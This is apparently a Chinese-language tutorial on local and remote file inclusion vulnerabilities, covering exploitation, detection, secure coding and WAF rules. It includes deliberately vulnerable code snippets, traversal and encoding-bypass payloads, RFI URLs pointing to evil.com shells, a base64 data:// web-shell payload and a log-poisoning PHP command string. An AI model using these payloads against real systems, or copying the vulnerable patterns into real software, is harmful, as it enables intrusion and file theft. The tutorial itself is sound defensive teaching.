引言

文件包含漏洞是一种常见且危险的Web应用漏洞,特别在PHP、Java、Python等支持动态包含或加载文件的语言中表现突出。攻击者通过控制文件路径,使应用加载本地或远程恶意文件,从而实现信息泄露、代码执行、服务中断等。

文件包含漏洞概念

文件包含漏洞通常由不安全的文件路径拼接或用户输入直接传递给文件加载函数引起。例如PHP中的include()require()file_get_contents(),Python中的open()exec(),Java中的ClassLoader等。

两种主要类型

  • 本地文件包含(LFI,Local File Inclusion)

    • 攻击者读取、包含或执行服务器本地文件
    • 常见目标:配置文件、日志文件、会话文件、系统路径
  • 远程文件包含(RFI,Remote File Inclusion)

    • 攻击者让服务器从远程URL加载文件
    • 如果远程文件可控,则可直接执行恶意代码

现代PHP默认已禁止allow_url_include,但RFI仍可能在旧系统或配置不当时出现。

利用原理与触发方式

典型易受攻击代码

1
2
3
// PHP示例
$page = $_GET['page'];
include("pages/{$page}.php");
1
2
3
4
# Python示例
template = request.args.get('template')
with open(f"templates/{template}.html") as f:
html = f.read()
1
2
3
// Java示例
String path = request.getParameter("file");
FileInputStream fis = new FileInputStream("/app/data/" + path);

上述代码中,用户输入未经过任何验证即可参与文件路径构造。

LFI 常见触发方式

  • 直接访问本地文件:?page=../../../../etc/passwd
  • 使用php://filter读取源码:?page=php://filter/read=convert.base64-encode/resource=index
  • 读取日志文件注入:?page=/var/log/nginx/access.log
  • 利用会话文件:?page=/tmp/sess_abc123

RFI 常见触发方式

  • 远程URL包含:?page=http://evil.com/shell.txt
  • 远程PHP文件执行:?page=http://evil.com/shell.php
  • 远程SOAP/WSDL:?file=https://attacker.com/malicious.wsdl

文件包含漏洞扩展与绕过技巧

目录遍历与编码绕过

攻击者可使用目录遍历结合编码避开过滤:

  • %2e%2e%2f 等URL编码
  • %2f..\....// 等变体
  • 双重编码:..%252f%2e%2e%252f

null 字节截断

在某些语言或环境中,利用 null 字节可以截断字符串,使后缀忽略:

  • ?page=../../../../etc/passwd%00

PHP 特殊流 wrapper

PHP 的php://expect://data://glob://等 wrapper 可被用于读取、执行或远程请求。

  • php://filter/read=convert.base64-encode/resource=...
  • data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

日志文件注入与Session泄露

如果应用日志记录了用户请求内容,攻击者可以注入恶意 payload 到日志文件,随后通过LFI包含日志,实现任意代码执行。

常见绕过策略

  • 压缩长路径:....//....//etc/passwd
  • 使用Unicode/UTF-8混淆:..%c0%af
  • 利用路径别名或符号链接

文件包含漏洞危害

  • 信息泄露:读取敏感文件如/etc/passwd/etc/hostsconfig.php
  • 远程执行:加载并执行攻击者控制的脚本
  • 权限提升:读取凭证文件后进一步攻破系统
  • 系统破坏:删除、篡改文件或执行危险命令
  • 旁路防护:绕过应用级认证或限制

文件包含漏洞检测与审计

手工测试

  1. 查找文件加载入口:include, require, load, open, readFile
  2. 尝试最简单目录遍历:?page=../../../../etc/passwd
  3. 测试编码绕过:..%2f..%2f..%2fetc/passwd
  4. 测试特殊 wrappers:php://filter/..., php://input, data://
  5. 观察服务器返回错误或源码泄露

自动化工具

  • Burp Suite
  • OWASP ZAP
  • DirBuster / Gobuster
  • Acunetix、Nuclei
  • php-reverse-shell、wpscan(针对CMS)

代码审计要点

  • 搜索不安全的文件路径拼接
  • 查找用户输入直接传递给包含函数
  • 检查是否存在白名单或后缀校验
  • 识别路径遍历、特殊 wrapper、网络加载配置

防御策略与最佳实践

核心原则:不要信任用户输入

  • 始终验证文件名和路径
  • 使用白名单而非黑名单
  • 禁止直接将用户输入参与文件加载
  • 只允许读取固定目录下的文件

安全代码示例

PHP 安全示例

1
2
3
4
5
6
$allowed = ['home', 'about', 'contact'];
$page = $_GET['page'] ?? 'home';
if (!in_array($page, $allowed, true)) {
$page = 'home';
}
include __DIR__ . '/pages/' . $page . '.php';

Python 安全示例

1
2
3
4
5
6
ALLOWED_TEMPLATES = {'home.html', 'about.html', 'contact.html'}
name = request.args.get('template', 'home.html')
if name not in ALLOWED_TEMPLATES:
name = 'home.html'
with open(os.path.join('templates', name), 'r', encoding='utf-8') as f:
content = f.read()

Java 安全示例

1
2
3
4
5
6
7
Set<String> allowed = Set.of("index.html", "about.html", "help.html");
String file = request.getParameter("file");
if (!allowed.contains(file)) {
file = "index.html";
}
Path path = Paths.get("/app/templates", file).normalize();
Files.readString(path);

具体防御措施

  • 白名单验证:仅允许预定义文件名
  • 路径规范化:使用realpath()Path.normalize()消除遍历
  • 固定目录加载:强制根目录,避免用户输入包含路径
  • 强制后缀:如只允许加载.php.html
  • 禁用远程文件包含:PHP中关闭allow_url_include
  • 禁用危险 wrapper:阻止php://inputdata://

运行时防护

  • 使用WAF规则检测目录遍历和 php:// 模式
  • 限制Web服务器进程的文件访问权限
  • 将敏感文件置于Web根目录之外
  • 使用容器/沙箱隔离文件访问

文件包含漏洞深度扩展

反序列化与文件包含

某些应用将用户上传的序列化对象写入文件,随后包含该内容,可能触发反序列化或 PHP 反弹 shell。

远程日志注入链

攻击者先触发日志注入,再通过 LFI 包含日志文件,实现代码执行。这是文件包含漏洞中常见的利用链。

文件包含与代码执行结合

当目标应用将包含文件的一部分数据当成可执行脚本解析时,漏洞可升级为远程代码执行。例如 PHP 的 include、Python 的 exec(open(...).read())

Web Shell 持久化

通过写入可访问的上传目录并包含,攻击者可以持久化 Web Shell;通过 LFI 加载会话文件也可进一步横向移动。

典型案例分析

案例 1:CMS 模块文件包含

1
某内容管理系统允许管理员通过 `?theme=xxx` 加载模板文件。攻击者提交 `?theme=../../../../etc/passwd` 读取系统账户信息,随后利用 `php://filter` 读取源码,获取数据库连接信息。修复方式是强制模板名白名单,并将主题文件存储在受限目录。

案例 2:PHP 日志文件注入

1
PHP 应用在访问日志中记录完整 URL。攻击者含有 `<?php system($_GET['cmd']); ?>` 的注入字符串被写入日志,随后通过 `?page=/var/log/apache2/access.log` 触发 LFI 加载并执行。此类漏洞的根本防御是禁用路径可控包含并把日志文件置于不可包含位置。

案例 3:旧版本 WordPress 插件 RFI

1
某 WordPress 插件直接接受 `$_GET['template']` 并执行 `include`. 由于`allow_url_include`开启,攻击者加载远程PHP文件并取得Shell。修复要点是禁止远程URL包含、升级插件并使用白名单。

语言与平台差异

PHP

  • 常见函数:include, require, include_once, require_oncefile_get_contents, fopen
  • 特殊 wrapper:php://, data://, expect://, zip://, glob://
  • 配置项:allow_url_fopenallow_url_include

Python

  • 常见函数:open, os.path.join, exec, eval, importlib
  • 关注点:pathlib.Path.resolve(), os.path.realpath()os.path.normpath()
  • 第三方库:Jinja2模板渲染时避免autoescape=False

Java / JVM

  • 常见用法:FileInputStream, FileReader, ClassLoader.getResourceAsStream
  • 注意文件路径规范化和安全库
  • Web框架:Spring、Struts 中的视图解析、模板加载需要安全配置

Node.js

  • 常见函数:fs.readFile, require, fs.createReadStream
  • 需警惕require(userInput)和模板引擎ejs, pug引入
  • 使用path.joinpath.normalize

文件包含漏洞运维检测与WAF规则示例

运维检测要点

  • 监控异常请求参数:检测请求中是否出现../..\php://data://expect://等关键词
  • 监控错误日志:关注No such file or directoryfailed to open streamopen_basedir restriction等异常
  • 检查访问模式:确定是否存在对敏感文件的重复访问,如/etc/passwd/etc/hosts/var/log
  • 审计包含函数调用:在代码库中识别include, require, fopen, file_get_contents, FileInputStream, fs.readFile等接口,并评估其输入来源
  • 检测异常文件访问路径:分析Web服务进程是否访问了不应暴露的目录,例如Web根目录之外的系统配置文件

WAF 规则示例

通用目录遍历检测

1
2
SecRule REQUEST_URI "@rx (\.\./|\.\.\\|%2e%2e%2f|%2e%2e%5c)" \
"id:20001,phase:2,deny,status:403,msg:'LFI directory traversal attempt'"

PHP wrapper 检测

1
2
SecRule REQUEST_URI "@rx (php://|data://|expect://|input://|zip://|glob://)" \
"id:20002,phase:2,deny,status:403,msg:'PHP wrapper inclusion attempt'"

远程文件包含检测

1
2
SecRule REQUEST_URI "@rx (https?://|ftps?://)" \
"id:20003,phase:2,deny,status:403,msg:'Remote file inclusion attempt'"

敏感文件访问检测

1
2
SecRule REQUEST_URI "@rx ((/etc/passwd|/etc/shadow|/proc/self/environ|/var/log/|/etc/hosts))" \
"id:20004,phase:2,deny,status:403,msg:'Sensitive file inclusion attempt'"

参数值规范化检测

1
2
SecRule ARGS_NAMES|ARGS|REQUEST_HEADERS "@rx (\.\./|php://|data://|%2e%2e|%00)" \
"id:20005,phase:2,deny,status:403,msg:'Potential file inclusion parameter'"

WAF 与运维联合防护

  • Whitelist first:优先允许已知安全页面或模板路径,拒绝所有未授权路径
  • 日志关联:将WAF告警与应用日志、系统日志关联分析,以确认是否为误报或真实攻击
  • 异常请求流量告警:当某个IP或User-Agent连续触发包含规则时,快速报警并临时封禁
  • 版本管理与补丁:及时升级PHP、Web服务器和框架,避免已知RFI/LFI漏洞复现

典型检测策略

  1. 使用日志分析平台(ELK、Splunk)定期提取包含漏洞相关关键词
  2. 结合异常文件访问路径和请求来源,识别扫描器或攻击链
  3. 在运维巡检中加入“是否存在用户可控文件路径”的安全检查
  4. 使用持续安全测试(SAST/DAST)在开发阶段发现潜在文件包含风险

通过运维检测与WAF规则配合,可以在攻击早期发现文件包含行为,并将可疑请求拦截在应用层之前。

总结

文件包含漏洞的本质是“用户控制了文件加载路径”。通过严格的白名单、路径规范化、禁止远程加载和最小化文件访问范围,可以有效避免这类漏洞。

  • LFI 常用于信息泄露、日志注入、会话文件读取
  • RFI 常直接导致远程代码执行
  • 除了路径遍历,还要防范特殊 wrapper 和编码绕过
  • 代码审计、自动化扫描和运行时WAF应结合使用
  • 修复后,还应对敏感文件权限和目录结构进行硬化